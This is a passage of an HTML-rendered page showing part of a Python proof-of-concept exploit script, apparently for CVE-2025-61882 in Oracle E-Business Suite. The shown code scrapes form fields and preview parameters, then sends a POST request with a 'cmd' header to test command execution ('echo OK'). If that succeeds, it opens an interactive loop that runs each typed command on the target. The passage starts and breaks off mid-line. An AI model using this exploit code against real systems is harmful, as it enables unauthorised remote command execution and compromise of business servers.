print(f&amp;quot;[+] Form Action: {full_url}&amp;quot;)</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L301\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;301\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC301\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L302\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;302\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC302\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>payload</span> <span class=pl-c1>=</span> {}</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L303\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;303\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC303\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>for</span> <span class=pl-s1>tag</span> <span class=pl-c1>in</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find_all</span>(<span class=pl-s>&amp;#39;input&amp;#39;</span>, <span class=pl-s1>type</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;hidden&amp;#39;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L304\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;304\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC304\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>name</span> <span class=pl-c1>=</span> <span class=pl-s1>tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;name&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L305\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;305\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC305\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>value</span> <span class=pl-c1>=</span> <span class=pl-s1>tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;value&amp;#39;</span>, <span class=pl-s>&amp;#39;&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L306\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;306\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC306\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>name</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L307\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;307\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC307\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s1>name</span>] <span class=pl-c1>=</span> <span class=pl-s1>value</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L308\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;308\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC308\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L309\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;309\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC309\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>preview_link</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;a&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;N3:PreviewEnabled:0&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L310\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;310\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC310\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-c1>not</span> <span class=pl-s1>preview_link</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L311\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;311\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC311\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Exact ID &amp;#39;N3:PreviewEnabled:0&amp;#39; not found. Searching loosely...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L312\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;312\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC312\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>preview_link</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;a&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-k>lambda</span> <span class=pl-s1>x</span>: <span class=pl-s1>x</span> <span class=pl-c1>and</span> <span class=pl-s>&amp;#39;PreviewEnabled&amp;#39;</span> <span class=pl-c1>in</span> <span class=pl-s1>x</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L313\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;313\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC313\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L314\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;314\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC314\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>preview_link</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L315\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;315\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC315\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-c># print(&amp;quot;[+] Found Preview Link.&amp;quot;)</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L316\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;316\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC316\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>onclick_text</span> <span class=pl-c1>=</span> <span class=pl-s1>preview_link</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;onclick&amp;#39;</span>, <span class=pl-s>&amp;#39;&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L317\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;317\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC317\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L318\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;318\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC318\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>match</span> <span class=pl-c1>=</span> <span class=pl-s1>re</span>.<span class=pl-c1>search</span>(<span class=pl-s>r&amp;quot;submitForm\\(&amp;#39;[^&amp;#39;]+&amp;#39;,\\d+,\\{(.+?)\\}\\)&amp;quot;</span>, <span class=pl-s1>onclick_text</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L319\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;319\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC319\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L320\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;320\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC320\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>match</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L321\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;321\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC321\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>params_str</span> <span class=pl-c1>=</span> <span class=pl-s1>match</span>.<span class=pl-c1>group</span>(<span class=pl-c1>1</span>)            </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L322\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;322\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC322\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>pairs</span> <span class=pl-c1>=</span> <span class=pl-s1>params_str</span>.<span class=pl-c1>split</span>(<span class=pl-s>&amp;#39;,&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L323\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;323\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC323\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>for</span> <span class=pl-s1>pair</span> <span class=pl-c1>in</span> <span class=pl-s1>pairs</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L324\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;324\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC324\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-k>if</span> <span class=pl-s>&amp;#39;:&amp;#39;</span> <span class=pl-c1>in</span> <span class=pl-s1>pair</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L325\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;325\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC325\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    <span class=pl-s1>key</span>, <span class=pl-s1>val</span> <span class=pl-c1>=</span> <span class=pl-s1>pair</span>.<span class=pl-c1>split</span>(<span class=pl-s>&amp;#39;:&amp;#39;</span>, <span class=pl-c1>1</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L326\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;326\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC326\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L327\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;327\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC327\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    <span class=pl-s1>key</span> <span class=pl-c1>=</span> <span class=pl-s1>key</span>.<span class=pl-c1>strip</span>().<span class=pl-c1>strip</span>(<span class=pl-s>&amp;quot;&amp;#39;&amp;quot;</span>).<span class=pl-c1>strip</span>(<span class=pl-s>&amp;#39;&amp;quot;&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L328\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;328\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC328\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    <span class=pl-s1>val</span> <span class=pl-c1>=</span> <span class=pl-s1>val</span>.<span class=pl-c1>strip</span>().<span class=pl-c1>strip</span>(<span class=pl-s>&amp;quot;&amp;#39;&amp;quot;</span>).<span class=pl-c1>strip</span>(<span class=pl-s>&amp;#39;&amp;quot;&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L329\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;329\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC329\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L330\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;330\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC330\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                    <span class=pl-s1>payload</span>[<span class=pl-s1>key</span>] <span class=pl-c1>=</span> <span class=pl-s1>val</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L331\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;331\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC331\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L332\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;332\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC332\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Could not regex parse the onclick event.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L333\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;333\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC333\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L334\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;334\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC334\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L335\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;335\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC335\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Error: Could not find the Preview Button in the HTML.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L336\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;336\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC336\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L337\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;337\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC337\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L338\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;338\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC338\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>preview_format_select</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;select&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;PreviewFormat&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L339\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;339\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC339\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>preview_format_select</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L340\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;340\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC340\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>selected_opt</span> <span class=pl-c1>=</span> <span class=pl-s1>preview_format_select</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;option&amp;#39;</span>, <span class=pl-s1>selected</span><span class=pl-c1>=</span><span class=pl-c1>True</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L341\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;341\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC341\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-c1>not</span> <span class=pl-s1>selected_opt</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L342\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;342\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC342\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>selected_opt</span> <span class=pl-c1>=</span> <span class=pl-s1>preview_format_select</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;option&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L343\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;343\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC343\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L344\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;344\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC344\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>selected_opt</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L345\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;345\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC345\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>p_fmt_val</span> <span class=pl-c1>=</span> <span class=pl-s1>selected_opt</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;value&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L346\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;346\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC346\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s>&amp;#39;PreviewFormat&amp;#39;</span>] <span class=pl-c1>=</span> <span class=pl-s1>p_fmt_val</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L347\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;347\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC347\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-c># print(f&amp;quot;[+] Setting PreviewFormat: {p_fmt_val}&amp;quot;)</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L348\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;348\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC348\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L349\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;349\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC349\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[*] Sending POST request to Preview Template...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L350\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;350\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC350\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L351\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;351\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC351\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L352\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;352\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC352\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-c1>HEADERS</span>.<span class=pl-c1>update</span>({<span class=pl-s>&amp;quot;cmd&amp;quot;</span>: <span class=pl-s>&amp;quot;echo OK&amp;quot;</span>})</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L353\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;353\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC353\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>post</span>(<span class=pl-s1>full_url</span>, <span class=pl-s1>headers</span><span class=pl-c1>=</span><span class=pl-c1>HEADERS</span>, <span class=pl-s1>cookies</span><span class=pl-c1>=</span><span class=pl-c1>COOKIES</span>, <span class=pl-s1>data</span><span class=pl-c1>=</span><span class=pl-s1>payload</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L354\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;354\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC354\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s>&amp;quot;OK&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L355\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;355\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC355\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[!] SUCCESS&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L356\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;356\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC356\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>             <span class=pl-k>while</span> <span class=pl-c1>True</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L357\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;357\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC357\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                 <span class=pl-s1>cmd</span> <span class=pl-c1>=</span> <span class=pl-en>input</span>(<span class=pl-s>&amp;quot;cmd&amp;gt; &amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L358\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;358\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC358\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                 <span class=pl-k>if</span> <span class=pl-s1>cmd</span>.<span class=pl-c1>lower</span>() <span class=pl-c1>in</span> [<span class=pl-s>&amp;#39;exit&amp;#39;</span>, <span class=pl-s>&amp;#39;quit&amp;#39;</span>]:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L359\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;359\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC359\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                     <span class=pl-k>break</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L360\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;360\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC360\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                 </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L361\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;361\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC361\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                 <span class=pl-c1>HEADERS</span>.<span class=pl-c1>update</span>({<span class=pl-s>&amp;quot;cmd&amp;quot;</span>: <span class=pl-s1>cmd</span>})</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L362\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;362\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC362\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                 <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>post</span>(<span class=pl-s1>full_url</span>, <span class=pl-s1>headers</span><span class=pl-c1>=</span><span 